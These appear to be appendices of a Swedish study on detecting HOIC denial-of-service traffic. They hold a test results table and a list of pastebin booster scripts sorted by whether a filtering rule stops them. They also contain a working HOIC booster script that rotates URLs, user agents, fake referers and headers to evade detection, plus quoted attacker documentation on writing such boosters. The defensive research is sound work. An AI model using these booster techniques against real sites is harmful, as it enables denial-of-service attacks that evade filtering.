randURLs.Append "http://www.uid11.local/wordpress/?cat=6" 
randURLs.Append "http://www.uid11.local/wordpress/?cat=4" 
randURLs.Append 
"http://www.uid11.local/wordpress/?p=18#respond" 
randURLs.Append 
"http://www.uid11.local/wordpress/?p=16#respond" 
randURLs.Append "http://www.uid11.local/wordpress/?p=16" 
randURLs.Append "http://www.uid11.local/wordpress/?p=1" 
randURLs.Append "http://www.uid11.local/wordpress/?p=18" 
randURLs.Append "http://www.uid11.local/wordpress/?p=16" 
randURLs.Append "http://www.uid11.local/wordpress/?cat=1" 
randURLs.Append 
"http://www.uid11.local/wordpress/?p=1#comments" 
randURLs.Append 
"http://www.uid11.local/wordpress/?p=1#comment-1" 
randURLs.Append "http://www.uid11.local/wordpress/?m=201204" 
randURLs.Append "http://www.uid11.local/wordpress/wp-
login.php" 
randURLs.Append "http://www.uid11.local/wordpress/?feed=rss2" 
randURLs.Append 
"http://www.uid11.local/wordpress/?feed=comments-rss2" 
 
// Slumpar fram en URL från listan ovanför.  
URL =  randURLs(RndNumber(0, randURLs.UBound)) 
 
// Används för att få en unik Boost och på så sätt minska 
chansen att bli upptäckt. Det som skapas är unika User Agents. 
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; 
en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" 
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows 
NT 5.1)" 
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows 
NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 
3.0.04506.30)" 
useragents.Append "Mozilla/4.0 (compatible; MSIE 6.0; Windows 
NT 5.1; .NET CLR 1.1.4322)" 
useragents.Append "Mozilla/4.0 (compatible; MSIE 5.0; Windows 
NT 5.1; .NET CLR 1.1.4322)" 
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useragents.Append "Googlebot/2.1 ( 
http://www.googlebot.com/bot.html) " 
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; 
en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 
Safari/534.14" 
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; 
en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 
Safari/534.14" 
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; 
en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 
Safari/534.13" 
useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) 
AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 
Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13" 
useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; Windows 
NT 5.2; WOW64; .NET CLR 2.0.50727)" 
useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; Windows 
NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 
3.0.04320)" 
useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 
10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) 
Version/5.0.2 Safari/533.18.5" 
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; 
es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 
Safari/533.16" 
useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) 
Presto/2.5.22 Version/10.51" 
 
 
useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; 
Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 
Opera 10.53" 
 
// Används för att skapa en referer, dvs. att trafiken ser ut 
att komma ifrån en ”googling”. 
referers.Append 
"http://www.google.se/?q=jag+vet+var+din+husvagn+bor" 
referers.Append "http://www.google.se/" 
referers.Append "http://www.yahoo.se" 
referers.Append "http://www.aftonbladet.se" 
 
// Används för att skapa unika Headers. 
randheaders.Append "Cache-Control: no-cache" 
randheaders.Append "If-Modified-Since: Sat, 29 Oct 1992 
15:29:59 GMT" 
randheaders.Append "If-Modified-Since: Tue, 18 Sep 2005 
12:34:27 GMT" 
randheaders.Append "If-Modified-Since: Mon, 12 Aug 2004 
12:53:49 GMT" 
randheaders.Append "If-Modified-Since: Wed, 30 May 2001 
01:31:09 GMT" 
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2006 
08:49:15 GMT" 
randheaders.Append "If-Modified-Since: Fri, 24 Sep 2006 
09:34:27 GMT" 
randheaders.Append "If-Modified-Since: Mon, 29 Oct 2001 
05:17:09 GMT" 
randheaders.Append "If-Modified-Since: Tue, 13 Apr 2003 
12:54:49 GMT" 
randheaders.Append "If-Modified-Since: Sat, 18 Aug 2002 
12:54:49 GMT" 
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randheaders.Append "If-Modified-Since: Wed, 30 Jan 2004 
01:21:09 GMT" 
randheaders.Append "If-Modified-Since: Tue, 16 Aug 2009 
08:49:15 GMT" 
randheaders.Append "If-Modified-Since: Fri, 20 Jun 2006 
09:34:27 GMT" 
randheaders.Append "If-Modified-Since: Sun, 18 Oct 2007 
11:59:59 GMT" 
randheaders.Append "If-Modified-Since: Tue, 17 Aug 2003 
12:54:49 GMT" 
randheaders.Append "If-Modified-Since: Wed, 25 Jan 2002 
01:21:09 GMT" 
randheaders.Append "If-Modified-Since: Tue, 13 Aug 2009 
08:49:15 GMT" 
randheaders.Append "If-Modified-Since: Fri, 20 Oct 2008 
09:34:27 GMT" 
randheaders.Append "If-Modified-Since: Mon, 9 Oct 2011 
11:59:59 GMT" 
randheaders.Append "If-Modified-Since: Tue, 1 Aug 2012 
12:54:49 GMT" 
 
Headers.Append "Keep-Alive: 115" 
Headers.Append "Accept-Charset: ISO-8859-1,utf-
8;q=0.7,*;q=0.7" 
Headers.Append "Connection: keep-alive" 
 
 
// Genererar referers utifrån det man har applicerat 
Headers.Append "Referer: " + referers(RndNumber(0, 
referers.UBound)) 
// Genererar User Agents utifrån det man har applicerat 
Headers.Append "User-Agent: " + useragents(RndNumber(0, 
useragents.UBound)) 
// Genererar Headers utifrån det man har applicerat 
Headers.Append randheaders(RndNumber(0, randheaders.UBound)) 
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B Bilaga 2 
Test Paket Tillåtna Tillåtna(%) Blacklist Blacklist(%) Tillgänglig(under/efter test) Last 

1.1 31851 24380 76,544 - 
 

Nej/Nej 106,19 

1.2 30054 22596 75,185 - 
 

Nej/Nej 114,63 

1.3 31586 23891 75,638 - 
 

Nej/Nej 105,73 

2.1 - 
      2.2 - 
      2.3 - 
      3.1 - 
      3.2 - 
      3.3 - 
      4.1 20124 15424 76,645 4700 23,355 Ja/Ja 0,09 

4.2 21158 16213 76,628 4945 23,372 Ja/Ja 0,13 

4.3 20042 15362 76,649 4680 23,351 Ja/Ja 0,03 

5.1 47599 35898 75,418 11701 24,582 Ja/Ja 0 

5.2 48289 36334 75,243 11955 24,757 Ja/Ja 0 

5.3 48156 36181 75,133 11975 24,867 Ja/Ja 0,03 

6.1 96426 72921 75,624 23505 24,376 Ja/Ja 0,1 

6.2 93949 70512 75,053 23437 24,947 Ja/Ja 0,08 

6.3 94232 70740 75,07 23493 24,931 Ja/Ja 0,08 

7.1 19634 14760 75,176 4874 24,824 Ja/Ja 0 

7.2 20468 15436 75,415 5032 24,585 Ja/Ja 0,08 

7.3 19707 14826 75,232 4881 24,768 Ja/Ja 0,03 

8.1 43639 32805 75,174 10834 24,826 Ja/Ja 0 

8.2 43881 33038 75,29 10843 24,71 Ja/Ja 0 

8.3 41824 31442 75,177 10383 24,825 Ja/Ja 0 

9.1 88669 66564 75,07 22105 24,93 Ja/Ja 0 

9.2 84752 63637 75,086 21115 24,914 Ja/Ja 0 

9.3 84686 63539 75,1 21067 24,9 Ja/Ja 0 
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C Bilaga 3 
Lista med booster-filer som kan stoppas med regeln i Formel 4.1.1. 
 

1. http://pastebin.com/35E0aE7r  - WarnerBros 

2. http://pastebin.com/AX4m5pHN  - osa.cz 

3. http://pastebin.com/a0vZwNum  - stopfakes.gov 

4. http://pastebin.com/vBDC9hkU  - stopfakes.gov 

5. http://pastebin.com/xEG4Wmp0  - ustr.gov 

6. http://pastebin.com/nn6ZPnMg  - theglobalipcenter.com 

7. http://pastebin.com/sGR8YXJh  - hadopi.fr 

8. http://pastebin.com/SfN2jPwM  - hadopi.fr 

9. http://pastebin.com/Ni8AvNrM  - egypt.gov.eg 

10. http://pastebin.com/KJ3aKYHn   - megatv.gr/com 

11. http://pastebin.com/NgmRBMpa  - hellenicparliament.gr 

12. http://pastebin.com/8pvqprC9  - ricksantorum.com 

13. http://pastebin.com/daiTJEAR  - socialdemokraterne.dk 

14. http://pastebin.com/kK64nDTM  - timewarner.com 

15. http://pastebin.com/itFkKcV3  - gema.de 

16. http://pastebin.com/cyRnYnjx  - anti-piracy.nl 

17. http://pastebin.com/bLZ9QQMU  - iprcenter.gov 

18. http://pastebin.com/zg1GSqwV  - usa.gov 

19. http://pastebin.com/hqHrgG4V  - uoct.cl 

20. http://pastebin.com/E0EmhJwz  - barackobama.com 

21. http://pastebin.com/huKpNXTU  - mpaa.org 

22. http://pastebin.com/4nFNRx5x  - ecb.int 

23. http://pastebin.com/YC6sABFj  - dei.gr 

24. http://pastebin.com/cyRwCvid  - justiz.gv.at 

25. http://pastebin.com/QrEAAuKB  - anti-piracy.nl 

26. http://pastebin.com/pZjDkRsw  - sf.dk 

27. http://pastebin.com/BcAbxNM5  - cia.gov 

28. http://pastebin.com/S5E2rM0t  - Hadopi.fr 

29. http://pastebin.com/yeTzLhai  - bpi.co.uk 

30. http://pastebin.com/VBzBnX78  - justice.gov 

31. http://pastebin.com/5Bhhm2br  - justice.gov.sk 

32. http://pastebin.com/SjHhQZeX  - antipiratbyran.se 

33. http://pastebin.com/sCbSknQc  - fsround.org 

34. http://pastebin.com/ySFu4vGH  - globo.com 

35. http://pastebin.com/Tz7wqFvt  - mittromney.com 
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36. http://pastebin.com/pCv30bjW  - copyrightalliance.org 

37. http://pastebin.com/5kJzYVQB  - house.gov 

38. http://pastebin.com/fDUR8ExP  - gov.ro 

39. http://pastebin.com/FHiQbN3F  - theglobalipcenter.com 

40. http://pastebin.com/TaJAedpu  - prodota.ru 

41. http://pastebin.com/BFWMf0Ur  - justice.gov 

42. http://pastebin.com/LGWQHztp  - imf.org 

43. http://pastebin.com/2VPGdVXP  - riaa.com 

44. http://pastebin.com/rnwPFVdc  - mjusticia.gob.es 

45. http://pastebin.com/TqVmeUHF  - astynomia.gr 

46. http://pastebin.com/6UXnzkDq  - scientology.org 

47. http://pastebin.com/RgSipeGh  - whitehouse.gov 

 

Lista med booster-filer som inte kan stoppas med regeln i Formel 4.1.1. 
1. http://pastebin.com/rNV06XqT - NEJ - 9gag.com 

2. http://pastebin.com/B77m3uGb - NEJ - justice.gov 

3. http://pastebin.com/b33sRWJ1 - NEJ - fbi.gov 

4. http://pastebin.com/nwUvnGc0 - NEJ - mpaa.org  

5. http://pastebin.com/5hQA4FsS - NEJ - vlada.gov.sk  
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D - Bilaga 4 
OK! 

 

So BASICALLY 

 

HOIC is pretty useless 

UNLESS it is used incombination with "BOOSTERS", AKA 

"SCRIPTS"/BOOST PACKS / BOOM BOOM POWER 

These boosters come in the form of .HOIC scripts. 

 

 

hoic scripts are very simple and follow VB6 mixed with vb.net syntax 

although slightly altered 

here are the functions and globals that relate the HOIC: 

 

booster -> This is a global variable that contains the contents of the current 

script (string) 

Headers -> This is a global variable that is an array of strings, and will be 

used to form headers in requests sent to the target URL.  To add a header, 

simply do something like this: 

Headers.Append("User-Agent: penis") or Headers.Append("User-Agent: 

penis x" + CStr(powerFactor) 

 

lbIndex -> Index into list box (cant really be used outside of the program, 

useless to developers) 

PostBuffer -> String buffer containig post paramets, ie PostBuffer = 

"lol=2&lolxd=5" 

powerFactor -> Integer from 0-2, 0 being low, 1 being medium , 2 being high 

totalbytessent -> a count of the number of bytes sent to the target already 

(presistent across each attack) 

URL -> url to attack 

UsePost -> boolean, true = uses post, otherwise itll use get 

 


